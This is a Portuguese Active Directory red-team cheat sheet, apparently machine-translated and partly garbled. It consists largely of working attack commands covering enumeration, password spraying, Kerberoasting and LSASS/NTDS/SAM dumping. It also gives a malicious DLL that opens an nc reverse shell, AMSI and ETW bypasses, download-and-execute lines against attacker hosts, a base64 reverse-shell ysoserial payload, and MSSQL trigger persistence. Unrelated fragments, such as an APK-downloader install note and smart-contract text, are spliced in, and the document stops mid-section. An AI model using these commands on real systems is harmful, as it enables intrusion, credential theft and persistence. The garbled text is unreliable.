### Abusando do PSWA

permite que qualquer pessoa com credenciais se conecte a qualquer máquina e qualquer configuração

**[ ! ] esta ação requer credenciais.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

> usando [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

**Domain trusts for the current domain :**

> using [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

### Enumeração da Floresta

**Detalhes sobre a floresta atual :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

### Enumeração de ACL e ACE

**Enumerar Todos os ACEs**```powershell
 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

*Verifique se o utilizador já tem um SPN :*
> utilizando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname

### Enumeração LDAP```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"

*Enumeração com ldapsearch como usuário autenticado*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

*Enumeração com nmap scripts*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

*enumeração com crackmapexec (autenticado)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

> por padrão, kerbrute usa o modo mais seguro (18 = sha1) para obter algum hash. Usando a opção de downgrade podemos obter a versão de tipo de criptografia obsoleta (23 = rc4hmac). Ou use getNPusers para obter algum hash, é mais seguro!

*forneça uma senha ou uma lista de senhas para testar contra usuários*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

### Password Spraying no domínio```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

Configurando Bloodhound:```bash
sudo neo4j console
sudo bloodhound

- `S-1-5-21`: **S refere-se a SID (Identificador de Segurança)**
- `40646273370-24341400410-2375368561`: **Identificador de Domínio ou Computador Local**
- `1036`: **RID (Identificador Relativo)**

*Estrutura do SID do Usuário :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **SID do Domínio**
- `1036`: **RID do Usuário**

> usando [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) :```bash
cme smb $target -u $username -p $password --rid-brute

o valor "20000" no lookupsid serve para indicar quantos RIDs serão testados


## Escalação de Privilégios

### Impersonação de Token

> A técnica de impersonação de token permite impersonar um usuário roubando seu token, esse token permite explorar essa técnica devido aos processos de SSO, Logon Interativo, processos em execução...


> usando [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :

*listar tokens*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

*manipulação de token de processo*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

*token de impersonação de "NT AUTHORITY\SYSTEM" :*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

> usando [impacket](https://github.com/SecureAuthCorp/impacket) :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

*quebrar o hash :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

`ALL_FILES````powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request

*Este ataque consiste em injetar uma DLL arbitrária maliciosa e reiniciar o serviço dns.exe,
uma vez que o DC atua como um serviço DNS, podemos elevar nossos privilégios para um DA.*

> Arquivo DLL :```c
#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

`\\10.10.14.33\share\evil.dll` : Compartilhamento SMB.

**reiniciar o serviço DNS**```powershell
sc.exe stop dns
sc.exe start dns

## Extração de Credenciais

### Dumping do LSASS```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy

INPUT:```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe

psexec.py MEGACORP.LOCAL/[email protected] "C:\\Windows\\Temp\\procdump.exe -accepteula -ma lsass C:\\Windows\\Temp\\lsass.dmp"
```
```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp
```
> analisar credenciais com mimikatz```powershell
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```
você pode fazer isso localmente com mimikatz usando: `sekurlsa::logonpasswords`.

### Dumping de NTDS

**Abusando do DRSUAPI para dumping de NTDS**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi
```
**Abusando do VSS para dumping do NTDS**

> usando [Crackmapexec]() :```powershell
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
```
*você pode fazer isso manualmente também.*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId
```
### Abuso de DPAPI

> dump DPAPI BK```bash
dpapi.py backupkeys -t $domain/$user:$password@$target
```
> Descriptografar DPAPI MK```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password
```
> descriptografando arquivo protegido usando MK```bash
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY
```
*quebrar chave mestre DPAPI com JTR*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule
```
### Extração de LSA

**você pode usar o mimikatz com este comando: `lsadump::secrets`**

### Extração de SAM

*salve o hive SYSTEM e o SAM em outro diretório*```powershell
reg save HKLM\SAM c:\path\to\SAM
reg save HKLM\SYSTEM c:\path\to\SYSTEM
```
... script como scanners de vulnerabilidade ou ferramentas de exploração, que define um limite máximo na versão de uma biblioteca de contrato inteligente que pode ser usada.

Frequentemente, as ferramentas e projetos de segurança não seriam diretamente exploráveis devido às suas restrições; no entanto, certos scripts incorporados em contratos inteligentes baseados em blockchain apresentam uma oportunidade de exploração com novas versões de contratos de biblioteca.

## Instalação

`ApkDownloader` foi originalmente criado para uso com os sistemas do site [KitPloit](https://www.kitploit.com/).

Para instalar a ferramenta globalmente com o Node Package Manager:

```npm

i apkdownloader -g

``````powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM
```
ou apenas use : `lsadump::sam`

**[ 📝 ] Notas** : *você pode extrair SAM e LSA com crackmapexec **ou** secretdump usando estes comandos :*```bash
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
```
```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa
```
### Dump do Registro Remotamente e Diretamente

[ ❓ ] **O que é o Registro?** : o Registro é dividido em várias seções chamadas **hives**. Um hive do registro é uma chave de registro de nível superior predefinida pelo sistema Windows para armazenar **chaves de registro** para objetivos específicos. Cada hive do registro tem objetivos específicos, existem **6 hives de registro: HKCU, HKLM, HKCR, HKU, HKCC e HKPD**. Os hives de registro mais interessantes em pentest são HKU e HKLM.

**HKEY_LOCAL_MACHINE** chamado HKLM inclui três chaves: SAM, SYSTEM e SECURITY.

> despejar SYSTEM e SECURITY remotamente de HKLM:```bash
secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes
```
> despejar registro HKU remotamente com argumento hashes :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
```
### Ler Senha GMSA```powershell
$user = 'USER'
$gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword
````
*Extração de gMSA:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## Quebra de Hashes

> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
note : some Hash Type in hashcat depend of the **etype**

## Bruteforce AD Password

### Custom Username and Password wordlist

default password list (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
create passwords using bash & hashcat :```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
lista de nomes de utilizador padrão (users.list) :```
john doe
paul smith
jacaques miller
```
criar nomes de usuário personalizados usando username-anarchy :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## Pivoteamento

**Pivotar com WDFW via regras personalizadas**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*permitir conexões ao localport*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB Pipes

**Portas locais/remotas podem ser encaminhadas** usando **pipes SMB**. Você pode usar [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) ou [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) para isso.
- `Invoke-Piper` : *usado para encaminhar portas locais ou remotas*
- `Invoke-SocksProxy` : *usado para encaminhamento dinâmico de portas*

**Caso 1** *Encaminhamento de porta local através de pipe para Pivot: `-L 33389:127.0.0.1:3389`*

> LADO DO SERVIDOR :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> LADO DO CLIENTE :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**Caso 2** *Apenas admin encaminhamento remoto de porta através de pipe forPivot: `-R 33389:127.0.0.1:3389`*

> LADO DO SERVIDOR :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> LADO DO CLIENTE :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Caso 3** *Encaminhamento de porta dinâmico com Invoke-SocksProxy com forPivot como NamedPipe: `-D 3333`*

> LADO DO SERVIDOR :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> LADO DO CLIENTE :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks

**SharpSocks é usado principalmente em frameworks C2 e funciona com implantes C2**

*construir um servidor:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### RDP Tunneling via DVC

*compartilhamento de unidades:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*mapeie as unidades:*```powershell
PS > net use x: \\TSCLIENT\X
```
criar um servidor com SSFD.exe```powershell
PS > ssfd.exe -p 8080
```
*Redirecione a porta SSF com o servidor DVC:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD como um proxy SOCK*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Persistência

### Injeção de SIDHistory

### AdminSDHolder e SDProp

> [ ❓ ] : Com privilégios de DA (Controle Total/Permissões de Gravação) no objeto AdminSDHolder, ele pode ser usado como um mecanismo de backdoor/persistência ao adicionar um usuário com Permissões Totais (ou outras permissões interessantes\) ao objeto AdminSDHolder.
Em 60 minutos (quando o SDPROP é executado), o usuário será adicionado com Controle Total ao AC de grupos como Domain Admins sem realmente ser um membro dele.

> usando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> usando [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*Executar SDProp manualmente*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## Abuso de ACLs e ACEs

### GenericAll

**listar todos os grupos aos quais o usuário pertence e tem direitos de acesso explícitos**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
*   Digamos que você queira verificar se uma determinada CVE foi explorada no ambiente Windows 10. Digite:```powershell
net group Administrator aker /add /domain
```
## Bypass de Segurança Aprimorado

### AntiMalware Scan Interface```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
aplicando patch no AMSI a partir do Powershell6 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode

Contornar CLM usando **runspace**:```cs
static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}
```
### Administração Suficiente

> mostrar o nível atual de idiomas :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> Contornar JEA no ConstrainedLanguage :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> contornar EP usando codificação :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL para Despejo de Credenciais

[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) é uma **proteção adicional do LSA** para evitar leitura de memória e injeção de código por **processos não protegidos**.

> ignorar RunAsPPL com mimikatz :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### Desativação do ETW```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
você pode tentar técnicas de ofuscação neste comando. Para saber mais sobre ETW, veja meu curso [aqui](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)


## MS Exchange

### OWA EWS and EAS Password Spraying

> usando [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> usando [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### Extração de GAL e OAB

**Extração de GAL (Livro de Endereços Global)**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> usando powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (Livro de Endereços Offline) Extração**

*extrair o arquivo OAB.XML que contém registros*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data
```
*extrair arquivo compactado LZX*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> usando [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange

**[PrivExchange](https://github.com/dirkjanm/PrivExchange) usa o recurso PushSubscription, um usuário é capaz de capturar os dados de autenticação NTLM de um servidor Exchange com uma simples chamada à API "PushSubscription"**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon

**[ProxyLogon](https://github.com/hausec/ProxyLogon) é o nome dado ao CVE-2021-26855 que permite a um atacante contornar a autenticação e se passar por usuários em servidores MS Exchange**```bash
python proxylogon.py $ip user@fqdn
```
> usando metasploit:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688

Esta CVE permite RCE no EWS através de chaves criptográficas fixas

*Obter valores para RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server

### Injeção de Caminho UNC

[ ❓ ] : Convenção de Nomenclatura Uniforme __permite o compartilhamento de recursos__ em uma rede através de uma sintaxe muito precisa: `\IP-Server\shareName\Folder\File`

inicie o responder : `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### Envenenamento MC-SQLR

*O SQL Server Resolution Protocol é um protocolo simples de nível de aplicação usado para a transferência de solicitações e respostas entre clientes e serviços de descoberta de servidores de banco de dados.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> nós capturamos o hash do **Administrador** com este script VBA.```python
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...
```
### Gatilhos DML, DDL e de Logon

[ ❓ ] : **Gatilhos** são um procedimento armazenado que é executado automaticamente quando um evento ocorre no SQL Server.

- Data Definition Language (DDL) – Executa em instruções Create, Alter e Drop e alguns procedimentos armazenados do sistema.
- Data Manipulation Language (DML) – Executa em instruções Insert, Update e Delete.
- Gatilhos de Logon – Executa no logon de um usuário.

**Listagem de Gatilhos**

*listar todos os gatilhos*```sql
SELECT * FROM sys.server_triggers
```
*listar triggers para um banco de dados*```sql
SELECT * FROM sys.server_triggers
```
*listar triggers DDL e DML em uma instância usando powershell*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*usar DML triggers para persistência*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*usar triggers DDL para persistência*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*usar Logon triggers para persistência*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## Persistência na Floresta

### DCShadow

**O DCShadow registra temporariamente um novo controlador de domínio no domínio alvo** e o utiliza para "empurrar" atributos como SIDHistory, SPNs... em objetos especificados sem deixar logs de alteração para o objeto modificado!

*⚠️ Requisitos :*
- Privilégios de DA são necessários para usar o DCShadow.
- A máquina do atacante deve fazer parte do domínio raiz.

O ataque precisa de 2 instâncias em uma máquina comprometida :

**1 instância :** *iniciar servidores RPC com privilégios de SYSTEM e especificar atributos a serem modificados*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2ª instância :** *com privilégios suficientes de DA para enviar os valores :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## Ataques entre Florestas

### Tickets de Confiança

*Despejando Chave de Confiança*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Forjando IR-TGT usando Trust key*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*obter TGS para serviço CIFS*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*usar TGS para serviço CIFS*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### Usando KRBTGT hash```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory

### Enumeração de Usuários AZ

*conexão ao Azure Active Directory com **Connect-MsolService**.*```powershell
PS> Connect-MsolService -Credential $cred
```
*este comando permite enumeração com MFA (Autenticação Multifator)*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*localizar o Azure AD Connect Server*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### Enumeração usando AZ CLI

**Enumeração de Armazenamento**

*enumeração de armazenamento de blobs*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure

*criar um novo usuário*```powershell
